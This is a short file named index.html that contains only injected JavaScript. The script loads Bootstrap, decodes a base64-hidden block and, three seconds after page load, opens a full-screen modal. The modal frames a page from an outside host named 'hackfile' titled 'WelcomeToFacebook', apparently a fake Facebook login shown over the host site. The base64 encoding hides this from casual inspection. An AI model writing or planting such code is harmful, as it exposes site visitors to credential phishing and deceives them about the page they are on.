index.html

$("head").append($('<link rel="stylesheet" type="text/css" />').attr("href", "//maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css"));
(function(e, t) {
    ((t = e.createElement("script")).type = "text/javascript"),
    (t.async = !0),
    (t.onload = function() {

        $("body").append(atob("PGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9Im15TW9kYWwiIHJvbGU9ImRpYWxvZyIgc3R5bGU9InotaW5kZXg6IDk5OTk5OTk5OTsiPiA8ZGl2IGNsYXNzPSJtb2RhbC1kaWFsb2ciIHN0eWxlPSJ3aWR0aDo4MCU7IGhlaWdodDogODAlOyI+IDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiIHN0eWxlPSJoZWlnaHQ6IDEwMCU7IiA+PGRpdiBjbGFzcz0ibW9kYWwtYm9keSIgc3R5bGU9ImhlaWdodDogMTAwJSI7PjxpZnJhbWUgc3JjPSJodHRwczovL3Jhd2dpdC5jb20vbWVvbWF5NTAzL2hhY2tmaWxlL21hc3Rlci9XZWxjb21lVG9GYWNlYm9vay5odG1sIj48L2lmcmFtZT48L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj48c3R5bGU+aWZyYW1le3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IGJvcmRlcjogbm9uZTt9PC9zdHlsZT4="));
        setTimeout(function() { $("#myModal ").modal('show') }, 3000);
    }),
    (t.src =
        "https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"),
    e.getElementsByTagName("head")[0].appendChild(t);
})(document);